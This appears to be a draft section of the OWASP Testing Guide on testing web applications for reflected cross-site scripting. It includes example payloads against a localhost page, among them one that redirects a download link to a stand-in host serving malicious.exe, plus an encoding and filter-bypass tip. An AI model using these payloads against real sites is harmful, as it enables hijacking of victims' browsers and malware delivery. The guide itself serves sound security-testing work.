Testing for Reflected Cross site scripting (OTG-INPVAL-001)

This is a draft of a section of the new Testing Guide v3

Brief Summary
Reflected cross-site scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

Description of the Issue
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which he convinces her victims to load this URI on their browsers, and the eventual execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to install key loggers, steal victim cookies, clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so for example the web application might filter out " ", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black and Grey Box testing and example
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link. The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens: http://localhost/tag/xss-s-tag-1.php?user= alert(123)

If no sanitization is applied this will result in the following popup: This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link): http://localhost/tag/xss-s-tag-1.php?user= window.onload = function {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }

This produces the following behavior: This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls. An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

Filtering: ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i. This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag. ...